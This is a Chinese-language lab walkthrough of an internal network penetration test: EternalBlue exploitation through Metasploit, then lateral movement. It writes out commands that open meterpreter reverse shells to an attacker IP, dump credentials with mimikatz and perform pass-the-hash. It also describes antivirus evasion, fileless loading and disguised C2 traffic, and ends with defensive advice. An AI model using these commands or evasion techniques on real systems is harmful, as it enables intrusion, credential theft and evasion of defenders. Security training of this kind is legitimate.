0x01 收割内部网络的钥匙

某个晴朗的下午,我接到一项任务,要求在一个约定的环境中执行内部网络渗透测试。目标是模拟真实攻击者在突破外围防御后,如何进行内网横向移动。在这次测试中,我们利用了一个常见的内网漏洞——MS17-010(永恒之蓝)作为突破口。

MS17-010是一个经典的Windows SMBv1漏洞,允许攻击者在未授权的情况下远程执行代码。 我们的目标是一台运行Windows Server 2012的服务器,并且根据侦查,这台服务器上启用了SMBv1服务。

黑客示意图

攻击原理

永恒之蓝利用了Windows SMBv1协议的漏洞,攻击者能够发送一个特制的SMB请求,导致内存溢出并执行任意代码。这个漏洞不仅能让我们直接在目标机器上获得代码执行权限,还能作为入口,进一步在内网中进行横向移动。

  • 漏洞成因:SMBv1协议在处理特定请求时存在内存溢出,攻击者可以构造恶意数据包触发漏洞。
  • 影响范围:包括Windows 7、Windows Server 2008/2012等多个版本。
  • 利用价值:获取代码执行权限后,可以通过Dump Hash进行身份验证,或者使用内存执行技术进一步渗透。

我们的策略是利用MS17-010漏洞获取目标机器的初始访问权限,然后针对内网中可能存在的其他脆弱节点进行后续攻击。

实战环境搭建

为了真实模拟这次攻击,我们搭建了一个包含多台虚拟机的内网环境。其中,攻击机运行Kali Linux,目标机为Windows Server 2012,内网还包括其他几台Windows 7及Windows 10的工作站。

Kali Linux配置

在攻击机上,我们安装了Metasploit框架,这是一个强大的渗透测试工具包,提供了MS17-010的利用模块。确保Metasploit是最新版本,这样可以使用最新的攻击模块和技术手段。

Windows Server 2012配置

目标机模拟了一台典型的公司服务器,开放了常见的服务端口,包括SMB服务。为了还原漏洞环境,我们未对服务器打最新的补丁,确保SMBv1服务可被利用。

内网拓扑

黑客示意图

除了目标机,内网还包含几台Windows工作站,模拟典型的企业网络结构。这些工作站在初始阶段并不直接暴露给攻击者,但可以通过横向移动技术进行攻击。

<pre><code>[Attacker: Kali Linux] | [Target: Windows Server 2012] -- [Windows 7 Workstation] | [Windows 10 Workstation]</code></pre>

逆袭代码执行:永恒之蓝EXP

现在我们来看看如何利用MS17-010漏洞获取目标机的控制权。使用Metasploit框架的exploit/windows/smb/ms17_010_eternalblue模块是我们的首选。

<pre><code class="language-shell"># 启动Metasploit msfconsole

使用MS17-010的永恒之蓝模块

use exploit/windows/smb/ms17_010_eternalblue

设置目标和Payload

set RHOSTS &lt;目标IP&gt; set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST &lt;攻击机IP&gt; set LPORT 4444

执行攻击

exploit</code></pre>

重要说明:本文中的所有技术仅用于授权环境下的合法安全测试,任何未经授权的攻击行为均为非法行为。

攻击流程

  1. 扫描目标:首先确认目标机的SMB服务端口是否开放,并且确定其版本信息。
  2. 模块配置:根据目标IP地址和攻击机的监听地址,配置Metasploit模块。
  3. 执行攻击:运行exploit命令,成功后我们应该会得到一个Meterpreter会话。

内网无声漫游

获得初始进入点后,接下来的任务是横向移动至内网中的其他机器。以下是几种常见的横向移动技术:

1. 凭据抓取与利用

在获得目标机的控制权后,第一步是提取内存中的明文凭据或Hash值。这可以通过Meterpreter中的hashdumpmimikatz模块实现。

<pre><code class="language-shell"># 在Meterpreter会话中加载mimikatz load mimikatz

获取所有用户凭据

mimikatz_command -f sekurlsa::logonPasswords</code></pre>

提取的凭据可以用于尝试连接其他内网机器,尤其是那些使用相同或弱密码策略的工作站。

黑客示意图

2. Pass-the-Hash攻击

如果我们只获得了Hash值,可以利用Pass-the-Hash技术在内网中进行漫游。这种技术不需要明文密码,直接使用Hash进行身份验证。

<pre><code class="language-shell"># 使用psexec模块进行Pass-the-Hash攻击 use exploit/windows/smb/psexec set RHOSTS &lt;内网目标IP&gt; set SMBUser &lt;目标用户名&gt; set SMBPass &lt;提取的Hash&gt; set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST &lt;攻击机IP&gt; exploit</code></pre>

3. SMB Relay攻击

这是另一种常见的横向移动技术。它利用SMB协议的特性,在目标机器和攻击机之间劫持认证请求,实现未授权访问。

免杀与对抗艺术

在内网中漫游时,如何避开各种防御机制是关键。以下是一些实用的技术,帮助攻击者保持隐匿:

代码混淆与加壳

通过对Payload进行混淆,可以有效绕过大部分杀毒软件的静态分析。使用工具如Veil或自写混淆脚本,可以生成免杀载荷。

内存加载与无文件攻击

通过将Payload直接加载到内存中而非磁盘,能够极大减少被检测到的几率。技术如Reflective DLL Injection或Memory Module可以实现这一点。

C2流量伪装

在内网中使用HTTPS等常见协议进行C2通信,同时通过流量混淆技术,让通信流量看上去像正常的Web流量。

检测与防御

强烈建议企业及安全团队采取以下措施加强防御:

  • 禁用SMBv1协议:通过禁用SMBv1协议,能够有效防止永恒之蓝等漏洞的利用。
  • 应用最新补丁:定期更新操作系统补丁,修复潜在的安全漏洞。
  • 增强网络监控:部署高级威胁监控系统,及时捕获异常流量和行为。
  • 凭据管理:使用强密码策略,并定期更换密码。

经验分享:攻守之间

在这次内网渗透测试中,我们不仅体验了攻击者的思维和技巧,也深刻体会到防御的艺术。在攻防对抗中,最重要的是不断更新技术和知识储备,始终保持敏感性。

合法声明:本文的技术仅供授权安全测试使用,任何未经授权的攻击行为都是非法的。

希望通过这次分享,能为大家提供内网渗透的思路和技术参考。在攻防对抗的道路上,我们永远在路上,不断学习与进步。